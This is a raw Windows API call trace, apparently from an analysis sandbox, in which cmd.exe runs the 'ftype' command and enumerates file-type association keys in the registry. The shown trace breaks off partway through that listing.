	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x0, lpData=0x20ecc0*=0x1, lpcbData=0x20eca4*=0x1000) returned 0x2
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x0, lpcbData=0x20eca4*=0x4) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x9, lpcbData=0x20eca4*=0x4) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x9, lpcbData=0x20eca4*=0x4) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x0, lpData=0x20ecc0*=0x9, lpcbData=0x20eca4*=0x1000) returned 0x2
	[0056.264] RegCloseKey (hKey=0x40) returned 0x0
	[0056.264] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4b
	[0056.264] srand (_Seed=0x5be14a4b) 
	[0056.264] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \""
	[0056.264] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \""
	[0056.264] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.265] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24ada0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0056.265] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0056.265] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.265] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0056.265] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0056.265] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.265] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0056.265] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0056.265] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0056.265] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0056.265] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0056.265] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0056.265] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0056.265] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0056.265] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20fab0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.265] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x20fab0, lpFilePart=0x20fa90 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x20fa90*="Desktop") returned 0x19
	[0056.265] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.265] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f7c0 | out: lpFindFileData=0x20f7c0) returned 0x248c00
	[0056.265] FindClose (in: hFindFile=0x248c00 | out: hFindFile=0x248c00) returned 1
	[0056.266] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x20f7c0 | out: lpFindFileData=0x20f7c0) returned 0x248c00
	[0056.266] FindClose (in: hFindFile=0x248c00 | out: hFindFile=0x248c00) returned 1
	[0056.266] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x20f7c0 | out: lpFindFileData=0x20f7c0) returned 0x248c00
	[0056.266] FindClose (in: hFindFile=0x248c00 | out: hFindFile=0x248c00) returned 1
	[0056.266] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.266] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0056.266] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0056.266] GetEnvironmentStringsW () returned 0x248c00*
	[0056.266] FreeEnvironmentStringsW (penv=0x248c00) returned 1
	[0056.266] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.267] GetConsoleOutputCP () returned 0x1b5
	[0056.268] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.268] GetUserDefaultLCID () returned 0x409
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20fbc0, cchData=128 | out: lpLCData="0") returned 2
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20fbc0, cchData=128 | out: lpLCData="0") returned 2
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20fbc0, cchData=128 | out: lpLCData="1") returned 2
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0056.269] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0056.269] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0056.270] GetConsoleTitleW (in: lpConsoleTitle=0x248c70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0056.270] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.270] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0056.270] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0056.270] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0056.271] _wcsicmp (_String1="ftYpe", _String2=")") returned 61
	[0056.271] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5
	[0056.271] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5
	[0056.271] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3
	[0056.271] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3
	[0056.271] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12
	[0056.271] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12
	[0056.271] GetConsoleTitleW (in: lpConsoleTitle=0x20fad0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="START") returned -13
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5
	[0056.272] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7
	[0056.273] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10
	[0056.273] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10
	[0056.273] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5
	[0056.273] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0
	[0056.273] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20f868 | out: phkResult=0x20f868*=0x4c) returned 0x0
	[0056.274] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000
	[0056.278] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegEnumKeyW") returned 0x7feff0fbf20
	[0056.279] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x0, lpName=0x20f590, cchName=0x104 | out: lpName="*") returned 0x0
	[0056.279] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="*\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x20f520 | out: phkResult=0x20f520*=0x0) returned 0x2
	[0056.279] SetLastError (dwErrCode=0x2) 
	[0056.279] RegCloseKey (hKey=0x0) returned 0x6
	[0056.279] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1, lpName=0x20f590, cchName=0x104 | out: lpName=".386") returned 0x0
	[0056.279] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2, lpName=0x20f590, cchName=0x104 | out: lpName=".3g2") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3, lpName=0x20f590, cchName=0x104 | out: lpName=".3gp") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4, lpName=0x20f590, cchName=0x104 | out: lpName=".3gp2") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5, lpName=0x20f590, cchName=0x104 | out: lpName=".3gpp") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6, lpName=0x20f590, cchName=0x104 | out: lpName=".a") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7, lpName=0x20f590, cchName=0x104 | out: lpName=".AAC") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8, lpName=0x20f590, cchName=0x104 | out: lpName=".accda") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9, lpName=0x20f590, cchName=0x104 | out: lpName=".accdb") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa, lpName=0x20f590, cchName=0x104 | out: lpName=".accdc") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb, lpName=0x20f590, cchName=0x104 | out: lpName=".accde") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc, lpName=0x20f590, cchName=0x104 | out: lpName=".accdr") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd, lpName=0x20f590, cchName=0x104 | out: lpName=".accdt") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe, lpName=0x20f590, cchName=0x104 | out: lpName=".accdu") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf, lpName=0x20f590, cchName=0x104 | out: lpName=".accdw") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x10, lpName=0x20f590, cchName=0x104 | out: lpName=".accft") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x11, lpName=0x20f590, cchName=0x104 | out: lpName=".acl") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x12, lpName=0x20f590, cchName=0x104 | out: lpName=".acrobatsecuritysettings") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x13, lpName=0x20f590, cchName=0x104 | out: lpName=".ade") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x14, lpName=0x20f590, cchName=0x104 | out: lpName=".adn") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x15, lpName=0x20f590, cchName=0x104 | out: lpName=".adp") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x16, lpName=0x20f590, cchName=0x104 | out: lpName=".ADT") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x17, lpName=0x20f590, cchName=0x104 | out: lpName=".ADTS") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x18, lpName=0x20f590, cchName=0x104 | out: lpName=".ai") returned 0x0
	[0056.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x19, lpName=0x20f590, cchName=0x104 | out: lpName=".aif") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1a, lpName=0x20f590, cchName=0x104 | out: lpName=".aifc") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1b, lpName=0x20f590, cchName=0x104 | out: lpName=".aiff") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1c, lpName=0x20f590, cchName=0x104 | out: lpName=".ani") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1d, lpName=0x20f590, cchName=0x104 | out: lpName=".ans") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1e, lpName=0x20f590, cchName=0x104 | out: lpName=".api") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1f, lpName=0x20f590, cchName=0x104 | out: lpName=".application") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x20, lpName=0x20f590, cchName=0x104 | out: lpName=".appref-ms") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x21, lpName=0x20f590, cchName=0x104 | out: lpName=".aps") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x22, lpName=0x20f590, cchName=0x104 | out: lpName=".art") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x23, lpName=0x20f590, cchName=0x104 | out: lpName=".asa") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x24, lpName=0x20f590, cchName=0x104 | out: lpName=".asc") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x25, lpName=0x20f590, cchName=0x104 | out: lpName=".ascx") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x26, lpName=0x20f590, cchName=0x104 | out: lpName=".asf") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x27, lpName=0x20f590, cchName=0x104 | out: lpName=".asm") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x28, lpName=0x20f590, cchName=0x104 | out: lpName=".asmx") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x29, lpName=0x20f590, cchName=0x104 | out: lpName=".asp") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2a, lpName=0x20f590, cchName=0x104 | out: lpName=".aspx") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2b, lpName=0x20f590, cchName=0x104 | out: lpName=".asx") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2c, lpName=0x20f590, cchName=0x104 | out: lpName=".au") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2d, lpName=0x20f590, cchName=0x104 | out: lpName=".avi") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2e, lpName=0x20f590, cchName=0x104 | out: lpName=".aw") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2f, lpName=0x20f590, cchName=0x104 | out: lpName=".bas") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x30, lpName=0x20f590, cchName=0x104 | out: lpName=".bat") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x31, lpName=0x20f590, cchName=0x104 | out: lpName=".bcp") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x32, lpName=0x20f590, cchName=0x104 | out: lpName=".bin") returned 0x0
	[0056.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x33, lpName=0x20f590, cchName=0x104 | out: lpName=".bkf") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x34, lpName=0x20f590, cchName=0x104 | out: lpName=".blg") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x35, lpName=0x20f590, cchName=0x104 | out: lpName=".bmp") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x36, lpName=0x20f590, cchName=0x104 | out: lpName=".bsc") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x37, lpName=0x20f590, cchName=0x104 | out: lpName=".c") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x38, lpName=0x20f590, cchName=0x104 | out: lpName=".c2r") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x39, lpName=0x20f590, cchName=0x104 | out: lpName=".cab") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3a, lpName=0x20f590, cchName=0x104 | out: lpName=".camp") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3b, lpName=0x20f590, cchName=0x104 | out: lpName=".cat") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3c, lpName=0x20f590, cchName=0x104 | out: lpName=".cc") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3d, lpName=0x20f590, cchName=0x104 | out: lpName=".cda") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3e, lpName=0x20f590, cchName=0x104 | out: lpName=".cdmp") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3f, lpName=0x20f590, cchName=0x104 | out: lpName=".cdx") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x40, lpName=0x20f590, cchName=0x104 | out: lpName=".cer") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x41, lpName=0x20f590, cchName=0x104 | out: lpName=".cgm") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x42, lpName=0x20f590, cchName=0x104 | out: lpName=".chk") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x43, lpName=0x20f590, cchName=0x104 | out: lpName=".chm") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x44, lpName=0x20f590, cchName=0x104 | out: lpName=".cls") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x45, lpName=0x20f590, cchName=0x104 | out: lpName=".cmd") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x46, lpName=0x20f590, cchName=0x104 | out: lpName=".cod") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x47, lpName=0x20f590, cchName=0x104 | out: lpName=".com") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x48, lpName=0x20f590, cchName=0x104 | out: lpName=".compositefont") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x49, lpName=0x20f590, cchName=0x104 | out: lpName=".contact") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4a, lpName=0x20f590, cchName=0x104 | out: lpName=".cpl") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4b, lpName=0x20f590, cchName=0x104 | out: lpName=".cpp") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4c, lpName=0x20f590, cchName=0x104 | out: lpName=".crd") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4d, lpName=0x20f590, cchName=0x104 | out: lpName=".crds") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4e, lpName=0x20f590, cchName=0x104 | out: lpName=".crl") returned 0x0
	[0056.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4f, lpName=0x20f590, cchName=0x104 | out: lpName=".crt") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x50, lpName=0x20f590, cchName=0x104 | out: lpName=".crtx") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x51, lpName=0x20f590, cchName=0x104 | out: lpName=".cs") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x52, lpName=0x20f590, cchName=0x104 | out: lpName=".csa") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x53, lpName=0x20f590, cchName=0x104 | out: lpName=".csproj") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x54, lpName=0x20f590, cchName=0x104 | out: lpName=".css") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x55, lpName=0x20f590, cchName=0x104 | out: lpName=".csv") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x56, lpName=0x20f590, cchName=0x104 | out: lpName=".cur") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x57, lpName=0x20f590, cchName=0x104 | out: lpName=".cxx") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x58, lpName=0x20f590, cchName=0x104 | out: lpName=".dat") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x59, lpName=0x20f590, cchName=0x104 | out: lpName=".db") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5a, lpName=0x20f590, cchName=0x104 | out: lpName=".dbg") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5b, lpName=0x20f590, cchName=0x104 | out: lpName=".dbs") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5c, lpName=0x20f590, cchName=0x104 | out: lpName=".dct") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5d, lpName=0x20f590, cchName=0x104 | out: lpName=".def") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5e, lpName=0x20f590, cchName=0x104 | out: lpName=".der") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5f, lpName=0x20f590, cchName=0x104 | out: lpName=".desklink") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x60, lpName=0x20f590, cchName=0x104 | out: lpName=".det") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x61, lpName=0x20f590, cchName=0x104 | out: lpName=".diagcab") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x62, lpName=0x20f590, cchName=0x104 | out: lpName=".diagcfg") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x63, lpName=0x20f590, cchName=0x104 | out: lpName=".diagpkg") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x64, lpName=0x20f590, cchName=0x104 | out: lpName=".dib") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x65, lpName=0x20f590, cchName=0x104 | out: lpName=".dic") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x66, lpName=0x20f590, cchName=0x104 | out: lpName=".diz") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x67, lpName=0x20f590, cchName=0x104 | out: lpName=".dll") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x68, lpName=0x20f590, cchName=0x104 | out: lpName=".dl_") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x69, lpName=0x20f590, cchName=0x104 | out: lpName=".doc") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6a, lpName=0x20f590, cchName=0x104 | out: lpName=".dochtml") returned 0x0
	[0056.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6b, lpName=0x20f590, cchName=0x104 | out: lpName=".docm") returned 0x0
